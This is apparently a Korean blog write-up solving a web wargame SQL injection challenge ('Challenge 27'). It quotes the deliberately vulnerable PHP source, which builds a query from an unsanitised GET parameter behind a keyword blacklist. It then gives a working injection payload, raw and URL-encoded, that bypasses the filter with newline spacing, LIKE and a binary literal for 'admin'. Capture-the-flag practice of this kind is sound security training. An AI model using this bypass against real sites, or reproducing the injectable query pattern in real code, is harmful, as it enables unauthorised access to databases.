<html>

<head>

<title>Challenge 27</title>

</head>

<body>

<h1>SQL INJECTION</h1>

<form method=get action=index.php>

<input type=text name=no><input type=submit>

</form>

<?

if($_GET[no])

{


if(eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack");


$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");


if($q[id]=="guest") echo("guest");

if($q[id]=="admin") @solve();


}


?>

<!-- index.phps -->

</body>

</html>

필터 문자

#

union

from

challenge

select

(

\t

\

limit

0x

=


[쿼리]

SELECT id FROM challenge27_table WHERE id='guest' and no=($_GET[no])




쿼리 결과 관리자 id가 나오도록 해야함.

no=100 or id="admin" 를 삽입하려 했지만

따옴표 사용 X // magic_quotes_gpc 적용

0x 사용 금지 // 필터처리

char() 함수 사용 // 괄호( 필터처리

like 사용 가능!

# 주석도 필터이기 때문에 -- 사용


따라서 아래와 같이 공백부분을 %0a로 채워준다.

no=100) or id like 0b0110000101100100011011010110100101101110 -- 


100%29%0aor%0aid%0alike%0a0b0110000101100100011011010110100101101110%20--%20


 주의할 점은 -- 주석이 여태 그냥 사용해도 문제없는 줄 알았지만

%20--%20 처럼 앞 뒤 공백으로 채워줘야함.

+ Recent posts